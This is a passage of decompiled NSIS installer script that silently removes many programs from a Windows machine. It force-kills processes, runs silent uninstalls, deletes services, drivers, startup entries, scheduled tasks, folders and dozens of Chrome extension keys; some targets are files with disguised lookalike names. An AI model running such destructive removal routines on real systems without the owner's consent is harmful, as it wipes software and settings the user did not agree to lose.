kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\swsedrvr_vt_$3.sys 0 label_15217 Delete /REBOOTOK $SYSDIR\drivers\swsedrvr_vt_$3.sys label_15217: IfFileExists $SYSDIR\drivers\swsedrvr_vw_$3.sys 0 label_15219 Delete /REBOOTOK $SYSDIR\drivers\swsedrvr_vw_$3.sys label_15219: IfFileExists $PROGRAMFILES\Note-up 0 label_15234 nsExec::Exec "cmd /k taskkill /IM Note-up.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Note-up.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec IfFileExists $PROGRAMFILES\Note-up\uninstall.exe 0 label_15231 nsExec::Exec "cmd /k $\"start $\"$\" $\"$PROGRAMFILES\Note-up\uninstall.exe$\" /S$\"" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k $\"start $\"$\" $\"$PROGRAMFILES\Note-up\uninstall.exe$\" /S$\"" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec label_15231: Sleep 5000 DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Note-up RMDir /r /REBOOTOK $PROGRAMFILES\Note-up label_15234: IfFileExists $APPDATA\NUIns\NUIns.exe 0 label_15241 nsExec::Exec "cmd /k taskkill /IM NUIns.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM NUIns.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\NUIns label_15241: IfFileExists $TEMP\task.vbs 0 label_15248 nsExec::ExecToStack "schtasks /delete /tn $\"amiupdaterExd$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"amiupdaterExd$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete /REBOOTOK $TEMP\task.vbs label_15248: IfFileExists $TEMP\amiupdater* 0 label_15255 nsExec::ExecToStack "schtasks /delete /tn $\"amiupdaterExi$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"amiupdaterExi$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete /REBOOTOK $TEMP\task.vbs label_15255: IfFileExists $PROGRAMFILES\filter 0 label_15279 IfFileExists $PROGRAMFILES\filter\start.vbs label_15259 IfFileExists $PROGRAMFILES\filter\1 label_15259 IfFileExists $PROGRAMFILES\filter\2 0 label_15279 label_15259: nsExec::Exec "cmd /k taskkill /IM CppWindowsService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM CppWindowsService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM PFHttpContentFilter.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM PFHttpContentFilter.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM driver_installer.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM driver_installer.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\CppWindowsService DeleteRegKey HKLM SYSTEM\ControlSet001\services\netfilter2 Delete /REBOOTOK $WINDIR\system32\drivers\netfilter2.sys Delete /REBOOTOK $WINDIR\Sysnative\drivers\netfilter2.sys RMDir /r /REBOOTOK $PROGRAMFILES\filter label_15279: IfFileExists $LOCALAPPDATA\HttpFilter 0 label_15298 nsExec::Exec "cmd /k taskkill /IM nssm.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM nssm.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM dofilter.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM dofilter.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM dofilterHost.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM dofilterHost.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run HttpFilter DeleteRegKey HKLM SYSTEM\ControlSet001\services\dofilter RMDir /r /REBOOTOK $LOCALAPPDATA\HttpFilter label_15298: IfFileExists "$PROGRAMFILES\Universal Driver Updater\unins000.exe" 0 label_15304 nsExec::Exec "cmd /k $\"start $\"$\" $\"$PROGRAMFILES\Universal Driver Updater\unins000.exe$\" /SILENT$\"" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k $\"start $\"$\" $\"$PROGRAMFILES\Universal Driver Updater\unins000.exe$\" /SILENT$\"" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec label_15304: IfFileExists $PROGRAMFILES64\UBar 0 label_15333 nsExec::Exec "cmd /k net stop UbarCalloutDriver" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop UbarCalloutDriver" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k net stop UbarPolicyProvider" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop UbarPolicyProvider" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ubar.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ubar.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM UbarService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM UbarService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM UbarCleaner.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM UbarCleaner.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\UbarCalloutDriver DeleteRegKey HKLM SYSTEM\ControlSet001\services\UbarPolicyProvider RMDir /r /REBOOTOK $PROGRAMFILES64\UBar label_15333: IfFileExists $APPDATA\ImageCropResize\ImageEd 0 label_15342 nsExec::Exec "cmd /k taskkill /IM ImageEd.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ImageEd.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ImageEd RMDir /r /REBOOTOK $APPDATA\ImageCropResize Delete $DESKTOP\ImageCropResize.lnk label_15342: IfFileExists $APPDATA\TextEditor\Daemon 0 label_15350 nsExec::Exec "cmd /k taskkill /IM TextEditor.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM TextEditor.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\TextEditor Delete $DESKTOP\TextEditor.lnk label_15350: IfFileExists $APPDATA\Calculator\preccalc.exe 0 label_15358 nsExec::Exec "cmd /k taskkill /IM preccalc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM preccalc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Delete /REBOOTOK $APPDATA\Calculator\preccalc.exe Delete $DESKTOP\Calculator.lnk label_15358: IfFileExists $APPDATA\Calculator\pråññàlñ.exe 0 label_15361 Delete /REBOOTOK $APPDATA\Calculator\pråññàlñ.exe Delete $DESKTOP\Calculator.lnk label_15361: IfFileExists $APPDATA\daemon.exe 0 label_15368 nsExec::Exec "cmd /k taskkill /IM daemon.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM daemon.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Delete /REBOOTOK $APPDATA\daemon.exe label_15368: IfFileExists $APPDATA\daemon2.exe 0 label_15375 nsExec::Exec "cmd /k taskkill /IM daemon2.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM daemon2.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Delete /REBOOTOK $APPDATA\daemon2.exe label_15375: IfFileExists $APPDATA\dàåmîn.exe 0 label_15377 Delete /REBOOTOK $APPDATA\dàåmîn.exe label_15377: IfFileExists $APPDATA\Advancedpccare.com 0 label_15379 RMDir /r /REBOOTOK $APPDATA\Advancedpccare.com label_15379: IfFileExists $PROGRAMFILES\RayDld 0 label_15392 nsExec::Exec "cmd /k taskkill /IM ihpmServer.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ihpmServer.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Raydld.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Raydld.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\ihpmServer RMDir /r /REBOOTOK $PROGRAMFILES\RayDld label_15392: IfFileExists $PROGRAMFILES64\WNEn 0 label_15395 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\WNEn Monitor" RMDir /r /REBOOTOK $PROGRAMFILES64\WNEn label_15395: IfFileExists $APPDATA\EasyFileOpener 0 label_15402 nsExec::Exec "cmd /k taskkill /IM efo.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM efo.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\EasyFileOpener label_15402: IfFileExists $APPDATA\WindowsUpdater\Updater.exe 0 label_15409 nsExec::Exec "cmd /k taskkill /IM Updater.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Updater.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\WindowsUpdater label_15409: IfFileExists $APPDATA\WindowsUpdater\Uðdàtår.exe 0 label_15411 Delete /REBOOTOK $APPDATA\WindowsUpdater\Uðdàtår.exe label_15411: IfFileExists $APPDATA\MicrosoftUpdater\MicrosoftUpdater.exe 0 label_15418 nsExec::Exec "cmd /k taskkill /IM MicrosoftUpdater.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MicrosoftUpdater.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\MicrosoftUpdater label_15418: IfFileExists $APPDATA\MicrosoftUpdater\MicrîsîftUðdàtår.exe 0 label_15420 Delete /REBOOTOK $APPDATA\MicrosoftUpdater\MicrîsîftUðdàtår.exe label_15420: IfFileExists $APPDATA\*-* 0 label_15456 StrCpy $0 "" FindFirst $0 $R1 $APPDATA\*-* label_15423: StrCmp $R1 "" label_15455 IfFileExists $APPDATA\$R1\$R12.exe label_15426 IfFileExists $APPDATA\$R1\$R1.exe 0 label_15453 label_15426: ClearErrors SetRegView 64 EnumRegKey $1 HKLM "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\$R1" $1 SetRegView 32 IfErrors label_15453 nsExec::Exec "cmd /k taskkill /IM $\"$R1.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"$R1.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Delete /REBOOTOK $APPDATA\$R1\$R1.exe Delete /REBOOTOK $APPDATA\$R1\$R12.exe nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\$R1$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\Windows\$R1$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFTR$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFTR$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFRR$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFRR$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack label_15453: FindNext $0 $R1 Goto label_15423 label_15455: FindClose $0 label_15456: IfFileExists $APPDATA\MicrosoftUpdater\WindowsDefender.log 0 label_15468 nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFTR$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFTR$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFRR$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFRR$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\MicrosoftUpdater label_15468: IfFileExists "$LOCALAPPDATA\IObit installer" 0 label_15470 RMDir /r /REBOOTOK "$LOCALAPPDATA\IObit installer" label_15470: IfFileExists "$PROGRAMFILES\Hamster Soft" 0 label_15472 RMDir /r /REBOOTOK "$PROGRAMFILES\Hamster Soft" label_15472: IfFileExists $PROGRAMFILES\LiveUpdateWPP\LiveUpdateWPP.exe 0 label_15480 nsExec::Exec "cmd /k taskkill /IM LiveUpdateWPP.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM LiveUpdateWPP.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM "SYSTEM\ControlSet001\services\LiveUpdateWPP Manager" RMDir /r /REBOOTOK $PROGRAMFILES\LiveUpdateWPP label_15480: IfFileExists $PROGRAMFILES\WebProtector\webprotector_uninstaller.exe 0 label_15487 nsExec::Exec "cmd /k taskkill /IM webprotector_uninstaller.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM webprotector_uninstaller.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\WebProtector label_15487: IfFileExists $PROGRAMFILES\WebProtectorPlus\WebProtectorPlus.exe 0 label_15499 nsExec::Exec "cmd /k taskkill /IM WebProtectorPlus.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM WebProtectorPlus.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM WebProtectorPlusServer.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM WebProtectorPlusServer.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\WebProtectorPlus label_15499: IfFileExists $PROGRAMFILES\NosClient 0 label_15501 RMDir /r /REBOOTOK $PROGRAMFILES\NosClient label_15501: FunctionEnd Function func_15502 SetShellVarContext current IfFileExists $LOCALAPPDATA\storegid 0 label_15506 Call func_520 RMDir /r /REBOOTOK $LOCALAPPDATA\storegid label_15506: IfFileExists "$PROGRAMFILES\Mail.Ru\Update Service" 0 label_15524 nsExec::ExecToStack "taskkill /IM $\"mrupdsrv.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM $\"mrupdsrv.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "taskkill /IM $\"mrupdsrv.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM $\"mrupdsrv.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "taskkill /IM $\"mrupdsrv.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM $\"mrupdsrv.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack DeleteRegKey HKLM SYSTEM\ControlSet001\services\mrupdsrv RMDir /r /REBOOTOK "$PROGRAMFILES\Mail.Ru\Update Service" label_15524: IfFileExists $LOCALAPPDATA\Mail.Ru 0 label_15549 nsExec::ExecToStack "taskkill /IM $\"mrkeeper.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM $\"mrkeeper.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete /REBOOTOK $LOCALAPPDATA\Mail.Ru\mrkeeper.exe IfFileExists "$LOCALAPPDATA\Mail.Ru\Update Service" 0 label_15549 nsExec::ExecToStack "taskkill /IM $\"mrupdsrv.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM $\"mrupdsrv.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "taskkill /IM $\"mrupdsrv.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM $\"mrupdsrv.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "taskkill /IM $\"mrupdsrv.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM $\"mrupdsrv.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack DeleteRegKey HKLM SYSTEM\ControlSet001\services\mrupdsrv RMDir /r /REBOOTOK "$LOCALAPPDATA\Mail.Ru\Update Service" label_15549: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ccfifbojenkenpkmnbnndeadpfdiffof $0 IfErrors label_15558 DeleteRegKey HKLM Software\Google\Chrome\Extensions\ccfifbojenkenpkmnbnndeadpfdiffof nsExec::ExecToStack "taskkill /IM $\"MailRuUpdater.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM $\"MailRuUpdater.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack label_15558: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ojlcebdkbpjdpiligkdbbkdkfjmchbfd $0 IfErrors label_15567 DeleteRegKey HKLM Software\Google\Chrome\Extensions\ojlcebdkbpjdpiligkdbbkdkfjmchbfd nsExec::ExecToStack "taskkill /IM $\"MailRuUpdater.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM $\"MailRuUpdater.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack label_15567: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ahnphcmhmhcjjcjhmnnjjlbmaeljecga $0 IfErrors label_15576 DeleteRegKey HKLM Software\Google\Chrome\Extensions\ahnphcmhmhcjjcjhmnnjjlbmaeljecga nsExec::ExecToStack "taskkill /IM $\"MailRuUpdater.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM $\"MailRuUpdater.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack label_15576: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ehfjihahbphdpljpiadbkmgmhnfehhgi $0 IfErrors label_15580 DeleteRegKey HKLM Software\Google\Chrome\Extensions\ehfjihahbphdpljpiadbkmgmhnfehhgi label_15580: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\phokcamelcbnjikjgomjjadeihhbbidh $0 IfErrors label_15584 DeleteRegKey HKLM Software\Google\Chrome\Extensions\phokcamelcbnjikjgomjjadeihhbbidh label_15584: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\fbkdlibjhnblcbjjecnlpkldhbkedfhj $0 IfErrors label_15588 DeleteRegKey HKLM Software\Google\Chrome\Extensions\fbkdlibjhnblcbjjecnlpkldhbkedfhj label_15588: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\kmafjceipgfaoldhhbkgdihfbjaioaen $0 IfErrors label_15592 DeleteRegKey HKLM Software\Google\Chrome\Extensions\kmafjceipgfaoldhhbkgdihfbjaioaen label_15592: ClearErrors EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\kmafjceipgfaoldhhbkgdihfbjaioaen $0 IfErrors label_15596 DeleteRegKey HKCU Software\Google\Chrome\Extensions\kmafjceipgfaoldhhbkgdihfbjaioaen label_15596: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\jedpddonjeogeldhkkbpdachllhdfknk $0 IfErrors label_15600 DeleteRegKey HKLM Software\Google\Chrome\Extensions\jedpddonjeogeldhkkbpdachllhdfknk label_15600: ClearErrors EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\jedpddonjeogeldhkkbpdachllhdfknk $0 IfErrors label_15604 DeleteRegKey HKCU Software\Google\Chrome\Extensions\jedpddonjeogeldhkkbpdachllhdfknk label_15604: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\oelpkepjlgmehajehfeicfbjdiobdkfj $0 IfErrors label_15608 DeleteRegKey HKLM Software\Google\Chrome\Extensions\oelpkepjlgmehajehfeicfbjdiobdkfj label_15608: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\aeembeejekghkopiabadonpmfpigojok $0 IfErrors label_15612 DeleteRegKey HKLM Software\Google\Chrome\Extensions\aeembeejekghkopiabadonpmfpigojok label_15612: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\lbjjfiihgfegniolckphpnfaokdkbmdm $0 IfErrors label_15616 DeleteRegKey HKLM Software\Google\Chrome\Extensions\lbjjfiihgfegniolckphpnfaokdkbmdm label_15616: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\bgcifljfapbhgiehkjlckfjmgeojijcb $0 IfErrors label_15620 DeleteRegKey HKLM Software\Google\Chrome\Extensions\bgcifljfapbhgiehkjlckfjmgeojijcb label_15620: ClearErrors EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\aeembeejekghkopiabadonpmfpigojok $0 IfErrors label_15624 DeleteRegKey HKCU Software\Google\Chrome\Extensions\aeembeejekghkopiabadonpmfpigojok label_15624: ClearErrors EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\lbjjfiihgfegniolckphpnfaokdkbmdm $0 IfErrors label_15628 DeleteRegKey HKCU Software\Google\Chrome\Extensions\lbjjfiihgfegniolckphpnfaokdkbmdm label_15628: ClearErrors EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\fcimjkehglmijlhnpbmjbpoiamjiegod $0 IfErrors label_15632 DeleteRegKey HKCU Software\Google\Chrome\Extensions\fcimjkehglmijlhnpbmjbpoiamjiegod label_15632: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\fcimjkehglmijlhnpbmjbpoiamjiegod $0 IfErrors label_15636 DeleteRegKey HKLM Software\Google\Chrome\Extensions\fcimjkehglmijlhnpbmjbpoiamjiegod label_15636: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\mkndcbhcgphcfkkddanakjiepeknbgle $0 IfErrors label_15640 DeleteRegKey HKLM Software\Google\Chrome\Extensions\mkndcbhcgphcfkkddanakjiepeknbgle label_15640: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\gfimgicdombnijnjgpckdjhnjmaapafj $0 IfErrors label_15644 DeleteRegKey HKLM Software\Google\Chrome\Extensions\gfimgicdombnijnjgpckdjhnjmaapafj label_15644: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\gkbehdibccccaklbchjdjkpifikjiclo $0 IfErrors label_15648 DeleteRegKey HKLM Software\Google\Chrome\Extensions\gkbehdibccccaklbchjdjkpifikjiclo label_15648: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\pnooffjhclkocplopffdbcdghmiffhji $0 IfErrors label_15652 DeleteRegKey HKLM Software\Google\Chrome\Extensions\pnooffjhclkocplopffdbcdghmiffhji label_15652: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ofdgafmdegfkhfdfkmllfefmcmcjllec $0 IfErrors label_15656 DeleteRegKey HKLM Software\Google\Chrome\Extensions\ofdgafmdegfkhfdfkmllfefmcmcjllec label_15656: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ilamgbdaebkbpkkmfmmfbnaamkhijdek $0 IfErrors label_15660 DeleteRegKey HKLM Software\Google\Chrome\Extensions\ilamgbdaebkbpkkmfmmfbnaamkhijdek label_15660: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\njabjmhinndphfnbjehdalkphpdmepli $0 IfErrors label_15664 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\njabjmhinndphfnbjehdalkphpdmepli label_15664: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\bgomnbpelpcdicbnicimghcecemjpbef $0 IfErrors label_15668 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\bgomnbpelpcdicbnicimghcecemjpbef label_15668: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\kppacdmmddediahklmcgkgdhhoojemmd $0 IfErrors label_15672 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\kppacdmmddediahklmcgkgdhhoojemmd label_15672: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\jaeahnnfohikjnejpokeaaiinijhpfop $0 IfErrors label_15676 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\jaeahnnfohikjnejpokeaaiinijhpfop label_15676: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\fopefgobkmblbipkdebgnnlclchlakom $0 IfErrors label_15680 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\fopefgobkmblbipkdebgnnlclchlakom label_15680: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\kjlpdpfmpoggibmjgmbaoidffidifakh $0 IfErrors label_15684 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\kjlpdpfmpoggibmjgmbaoidffidifakh label_15684: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\jkagakiplhpgacmegfblcddbckenmiio $0 IfErrors label_15688 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\jkagakiplhpgacmegfblcddbckenmiio label_15688: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\fidibeiehaokohhbnkdjmkcapgnndfkc $0 IfErrors label_15692 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\fidibeiehaokohhbnkdjmkcapgnndfkc label_15692: 